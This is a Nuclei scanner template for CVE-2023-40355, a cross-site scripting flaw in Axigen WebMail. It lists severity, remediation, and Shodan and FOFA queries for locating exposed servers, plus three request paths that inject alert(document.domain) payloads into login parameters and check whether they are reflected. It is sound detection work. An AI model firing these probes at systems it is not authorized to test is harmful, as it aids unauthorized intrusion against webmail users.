id: CVE-2023-40355

info:
  name: Axigen WebMail - Cross-Site Scripting
  author: amir-h-fallahi
  severity: medium
  description: |
    Cross Site Scripting (XSS) vulnerability in Axigen versions 10.3.3.0 before 10.3.3.59, 10.4.0 before 10.4.19, and 10.5.0 before 10.5.5, allows authenticated attackers to execute arbitrary code and obtain sensitive information via the logic for switching between the Standard and Ajax versions.
  impact: |
    Authenticated attackers can inject malicious JavaScript through various parameters in the version switching logic, potentially stealing email credentials and accessing sensitive communications of Axigen webmail users.
  remediation: |
    Update Axigen to version 10.3.3.59, 10.4.19, or 10.5.5 or later that properly sanitizes input parameters in the version switching logic.
  reference:
    - https://www.axigen.com/knowledgebase/Axigen-WebMail-XSS-Vulnerability-CVE-2023-40355-_396.html
    - https://nvd.nist.gov/vuln/detail/CVE-2023-40355
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 5.4
    cve-id: CVE-2023-40355
    cwe-id: CWE-79
    epss-score: 0.0109
    epss-percentile: 0.61004
    cpe: cpe:2.3:a:axigen:axigen_mobile_webmail:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 3
    vendor: axigen
    product: axigen_mobile_webmail
    shodan-query: http.favicon.hash:-1247684400
    fofa-query: icon_hash=-1247684400
  tags: cve,cve2023,xss,axigen,webmail,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/index.hsp?passwordExpired=yes&username=\\'-alert(document.domain),//"
      - "{{BaseURL}}/index.hsp?passwordExpired=yes&domainName=\\'-alert(document.domain),//"
      - "{{BaseURL}}/index.hsp?m=',alert(document.domain),'"

    stop-at-first-match: true
    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "\\\\'-alert(document.domain),//"
          - "',alert(document.domain),'"
        condition: or

      - type: dsl
        dsl:
          - 'contains(header, "text/html")'
          - 'contains(response, "Axigen")'
          - 'status_code == 200'
        condition: and
# digest: 4a0a00473045022100b169f3ad8ae4981dcc6422f8cfccdb7ad3b293f023a97b1c9d1fbf1700da429502201459db0cc0ed936cc33915120c06a1a294f74562aba198d41b99a99c5f05ecd1:922c64590222798bb761d5b6d8e72950